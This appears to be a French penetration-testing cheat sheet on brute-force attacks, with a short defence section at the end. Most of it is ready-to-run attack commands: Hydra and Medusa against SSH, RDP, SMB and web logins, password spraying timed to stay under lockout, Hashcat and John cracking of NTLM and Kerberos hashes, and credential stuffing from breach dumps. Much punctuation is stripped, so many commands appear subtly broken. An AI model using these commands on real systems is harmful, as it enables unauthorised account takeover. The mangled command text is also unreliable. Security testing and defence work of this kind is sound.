brute-forcehydrahashcat
MDstable
Brute Force Attack — Hydra, Hashcat, Password Spraying
Attaques par force brute : Hydra (SSH/FTP/HTTP/SMB/RDP), Hashcat (crack de hashes), génération de wordlists, password spraying, défense
snippetintermediate 2026-05-14 9 min read
brute-forcehydrahashcatjohnpassword-sprayingwordlistcredential-stuffingpentestblue-team
Vue d'ensemble
Brute Force tester toutes les combinaisons possibles charset exhaustifDictionary tester une liste de mots de passe courantsPassword Spray un seul password test sur TOUS les comptes vite le lockoutCredential Stuff liste de couples userpass issus de fuites de donnesChoix de la stratgie selon le contexteCompte cible connu pas de lockout Dictionary attack Hydra rockyouLockout prsent Active Directory Password Spraying 1 essai/compte/30minHash rcupr NTLM MD5 bcrypt Crack offline HashcatEnvironnement avec fuites connues Credential Stuffing
Wordlists
bash
# SecLists — collection de référenceapt install seclists -yls /usr/share/seclists/Passwords/# Principales listes utilisées :# /usr/share/wordlists/rockyou.txt → 14M mots de passe réels (breach LinkedIn 2009)# /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt# /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz# Extraire rockyou si comprességunzip /usr/share/wordlists/rockyou.txt.gz
Génération de wordlists custom
bash
Variables
{{TARGET_DOMAIN}}
# CeWL — générer une wordlist à partir d'un site web (vocabulaire de l'entreprise)cewl https//{{TARGET_DOMAIN}} -d 3 -m 6 -w cewl_wordlisttxt# -d 3 = profondeur 3 niveaux, -m 6 = mots de 6 caractères minimum# CUPP — profil utilisateur → wordlist cibléecupp -i # interactive mode (prénom, nom, date naissance, animaux, etc.)# → Génère company123, Pierre2024!, etc.# crunch — wordlist par patterncrunch 8 10 abc123 -o crunch_listtxt # 8-10 chars, charset abc123!@crunch 8 8 -t -o pattern_listtxt # @ = lower, % = chiffrecrunch 6 6 0123456789 -o digits_6txt # PIN 6 chiffres# Combiner des wordlistscat wordlist1txt wordlist2txt | sort -u > combinedtxt# Hashcat — rules-based mutation (combiner une liste + règles)hashcat --stdout -r /usr/share/hashcat/rules/best64.rule rockyoutxt > mutatedtxt# best64 ajoute des suffixes communs : !,1,123,2024,@, etc.
Hydra — Brute Force multi-protocole
SSH
bash
Variables
{{USERNAME}}
{{TARGET_IP}}
# Brute force SSH — user connuhydra -l {{USERNAME}} -P /usr/share/wordlists/rockyou.txt ssh//{{TARGET_IP}}# User list + password listhydra -L userstxt -P passwordstxt ssh//{{TARGET_IP}}# Optimiser la vitesse (threads)hydra -l {{USERNAME}} -P rockyoutxt -t 4 ssh//{{TARGET_IP}}# SSH bloque les connexions trop rapides → t 4 max recommandé# Continuer un scan interrompuhydra -R # reprend depuis le fichier hydra.restore
FTP
bash
Variables
{{USERNAME}}
{{TARGET_IP}}
hydra -l {{USERNAME}} -P rockyoutxt ftp//{{TARGET_IP}}hydra -L userstxt -P passwordstxt ftp//{{TARGET_IP}} -t 10 -V
HTTP — Formulaire de login
bash
Variables
{{USERNAME}}
{{TARGET_IP}}
# HTTP POST form (analyser la requête avec Burp pour obtenir les paramètres)hydra -l {{USERNAME}} -P rockyoutxt {{TARGET_IP}}http-post-form "/login:username=^USER^&password=^PASS^:Invalid password"# "Invalid password" = string présent dans la réponse en cas d'échec# HTTP GET basic authhydra -l admin -P rockyoutxt {{TARGET_IP}} http-get /admin/# HTTPS POST formhydra -l {{USERNAME}} -P rockyoutxt -s 443 -S {{TARGET_IP}}https-post-form "/login:user=^USER^&pass=^PASS^:error"
SMB / RDP / LDAP
bash
Variables
{{TARGET_IP}}
{{USERNAME}}
{{DOMAIN}}
# SMB (Windows shares, authentification)hydra -l administrator -P rockyoutxt smb//{{TARGET_IP}}# RDPhydra -l {{USERNAME}} -P rockyoutxt rdp//{{TARGET_IP}} -t 4# LDAPhydra -l "cn={{USERNAME}},dc={{DOMAIN}},dc=local" -P rockyoutxtldap//{{TARGET_IP}}# Telnethydra -l root -P rockyoutxt telnet//{{TARGET_IP}}# MySQLhydra -l root -P rockyoutxt mysql//{{TARGET_IP}}# PostgreSQLhydra -l postgres -P rockyoutxt postgres//{{TARGET_IP}}
Medusa — Alternative Hydra
bash
Variables
{{TARGET_IP}}
{{USERNAME}}
# SSHmedusa -h {{TARGET_IP}} -u {{USERNAME}} -P rockyoutxt -M ssh# FTP avec liste d'utilisateursmedusa -h {{TARGET_IP}} -U userstxt -P passwordstxt -M ftp -t 10# HTTP formmedusa -h {{TARGET_IP}} -u admin -P rockyoutxt -M http-m FORM"/login:user=&pass=:Login failed"
Web Brute Force — Burp Intruder / ffuf
Burp Intruder
1 Intercepter la requte POST /login2 Send to Intruder Positions3 Marquer le champ password password4 Payloads Simple list charger rockyoutxt5 Start Attack filtrer sur longueur de rponse ou status codeCluster Bomb user passwordPosition 1 user Payload 1 liste dusernamesPosition 2 pass Payload 2 liste de passwordstoutes les combinaisons trs lent
ffuf — Web fuzzing rapide
bash
Variables
{{TARGET}}
{{USERNAME}}
# Brute force de répertoiresffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt-u https//{{TARGET}}/FUZZ -mc 200301302 -t 50# Brute force de login (POST)ffuf -w rockyoutxt-X POST-d "username={{USERNAME}}&password=FUZZ"-H "Content-Type: application/x-www-form-urlencoded"-u https//{{TARGET}}/login-fc 200 -mc 302 # chercher les redirects (login réussi → redirect)# Brute force user + password (pitchfork)ffuf -w userstxtUSER -w passwordstxtPASS-X POST-d "username=USER&password=PASS"-u https//{{TARGET}}/login-mode pitchfork # user[0]+pass[0], user[1]+pass[1], ...
Password Spraying — Éviter le lockout
bash
Variables
{{TARGET_SUBNET}}
{{COMMON_PASSWORD}}
{{COMPANY_NAME}}
{{DOMAIN}}
{{DC_IP}}
{{PASSWORD}}
# Principe : 1 password → tous les users (lockout threshold = 3-5 → on reste sous le seuil)# Espacer les essais : 1 tentative par compte toutes les 30 minutes# Spraying SMB (CrackMapExec)crackmapexec smb {{TARGET_SUBNET}} -u userstxt -p "{{COMMON_PASSWORD}}" --continue-on-success# Spraying avec un seul mot de passecrackmapexec smb {{TARGET_SUBNET}} -u userstxt -p "Spring2024!" --continue-on-successcrackmapexec smb {{TARGET_SUBNET}} -u userstxt -p "{{COMPANY_NAME}}2024" --continue-on-success# Spraying Active Directory (Kerbrute — via Kerberos, plus discret que SMB)kerbrute passwordspray -d {{DOMAIN}} --dc {{DC_IP}} userstxt "{{PASSWORD}}"# Spraying Office 365 / Azure AD# Spray-365 ou MSOLSpraypython3 MSOLSpraypy --userlist userstxt --password "{{PASSWORD}}"# Attendre entre chaque round (éviter le lockout)# Policy AD standard : 5 tentatives → lockout 30 min# → 1 spray toutes les 31 min
Hashcat — Crack de hashes offline
Modes courants
bash
Variables
{{HASH}}
# Identifier le type de hashhashid {{HASH}}hashcat --example-hashes | grep -A2 "MD5"# Modes Hashcat fréquents en pentest :# 0 MD5# 100 SHA1# 1000 NTLM (Windows)# 1800 sha512crypt (Linux /etc/shadow)# 3200 bcrypt# 5600 NTLMv2 (Responder captures)# 13100 Kerberos TGS (Kerberoasting)# 18200 Kerberos AS-REP (AS-REP Roasting)# 22000 WPA2 PMKID (WiFi)
bash
Variables
{{SESSION_NAME}}
# Dictionary attack (mode 0)hashcat -m 1000 hashestxt rockyoutxt# Dictionary + rules (mutation — très efficace)hashcat -m 1000 hashestxt rockyoutxt -r /usr/share/hashcat/rules/best64.rulehashcat -m 1000 hashestxt rockyoutxt -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule# Brute force pur (mask attack, mode 3)hashcat -m 1000 hashestxt -a 3 ulllldddd # Majuscule + 4 lowercase + 4 chiffres# ?l = minuscule, ?u = majuscule, ?d = chiffre, ?s = symbole, ?a = tous# Combinator attack (combiner deux listes)hashcat -m 1000 hashestxt -a 1 wordlist1txt wordlist2txt# Utiliser le GPU (bien plus rapide)hashcat -m 1000 hashestxt rockyoutxt -d 1 # GPU device 1# Restaurer une session interrompuehashcat --restore --session={{SESSION_NAME}}
Exemples cibles pentest
bash
# NTLM (hash SAM/NTDS) → mode 1000hashcat -m 1000 ntlm_hashestxt rockyoutxt -r best64rule# NTLMv2 (Responder) → mode 5600hashcat -m 5600 ntlmv2_hashestxt rockyoutxt# Kerberoasting TGS → mode 13100hashcat -m 13100 kerberoasttxt rockyoutxt -r best64rule# Linux shadow $6$ (SHA-512) → mode 1800hashcat -m 1800 shadow_hashtxt rockyoutxt# bcrypt $2y$ → mode 3200 (très lent, GPU requis)hashcat -m 3200 bcrypt_hashestxt rockyoutxt -t 64
John the Ripper
bash
# Crack automatique (détecte le format)john hashestxt --wordlist=rockyou.txt# Format explicitejohn hashestxt --wordlist=rockyou.txt --format=NT # NTLMjohn hashestxt --wordlist=rockyou.txt --format=sha512crypt # Linux# Règles de mutationjohn hashestxt --wordlist=rockyou.txt --rules=All# /etc/shadow (nécessite unshadow)unshadow /etc/passwd /etc/shadow > combinedtxtjohn combinedtxt --wordlist=rockyou.txt# Afficher les mots de passe trouvésjohn hashestxt --show# Mode markov (génération basée sur la probabilité)john hashestxt --markov --max-length=10
Credential Stuffing
bash
Variables
{{TARGET_IP}}
{{HIBP_API_KEY}}
{{EMAIL}}
# Utiliser des fuites de données (breach dumps) pour tester sur d'autres services# Sources : HaveIBeenPwned API, paste sites, combo listes# Format courant des combo lists : user:password ou email:password# Test avec Hydra (HTTP POST)hydra -C credentials_combotxt {{TARGET_IP}}http-post-form "/login:email=^USER^&password=^PASS^:Invalid credentials"# Sniffer + tester en masse (OpenBullet, Storm — outils gris)# Préférer Hydra ou ffuf pour les engagements légaux# Vérifier si un email est dans une fuite (API HIBP)curl -H "hibp-api-key: {{HIBP_API_KEY}}""https://haveibeenpwned.com/api/v3/breachedaccount/{{EMAIL}}"
Défense
bash
# fail2ban — bloquer les IPs après X tentatives (Linux)cat /etc/fail2ban/jail.local# [sshd]# enabled = true# maxretry = 5# findtime = 600 # fenêtre de 10 min# bantime = 3600 # ban 1 heuresystemctl restart fail2banfail2ban-client status sshd
powershell
# Active Directory — politique de lockout# Fine-Grained Password Policy (PSO) pour les comptes critiquesNew-ADFineGrainedPasswordPolicy -Name "AdminPSO" `-Precedence 10 `-LockoutThreshold 5 `-LockoutDuration "00:30:00" `-LockoutObservationWindow "00:30:00" `-MinPasswordLength 15 `-ComplexityEnabled $true# Détecter le password spraying (logs AD)Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4625 -and $_.TimeCreated -gt (Get-Date).AddMinutes(-30)} | Group-Object {$_.Properties[10].Value} | Where-Object {$_.Count -gt 3}# > 3 comptes différents avec échec dans les 30 dernières minutes → spraying probable
python
# Rate limiting côté applicatif (Flask)from flask_limiter import Limiterfrom flask_limiter.util import get_remote_addresslimiter = Limiter(app, key_func=get_remote_address)@app.route('/login', methods=['POST'])@limiter.limit("5 per minute") # max 5 tentatives/min par IP@limiter.limit("20 per hour") # max 20 tentatives/heure par IPdef login():# ...
Checklist défensive
Checklist0/10
⚠ Attention —
Le password spraying est la technique la plus efficace en environnement AD car il reste sous le seuil de lockout. Les mots de passe les plus souvent trouvés : {{CompanyName}}2024!, Spring2024!, Password1!, Welcome1!. Tester ces passwords en priorité lors d'un audit interne — ils fonctionnent dans une organisation sur deux.
💡 Tip —
Hashcat avec les règles OneRuleToRuleThemAll craque 30 à 50% des NTLM en moins d'une heure sur un GPU récent, même depuis rockyou.txt. Pour bcrypt, préférer une wordlist très ciblée (CeWL + CUPP) plutôt qu'une attaque exhaustive — bcrypt est conçu pour résister au GPU.
OPS·BRAIN v1.075 notes · Securitylocal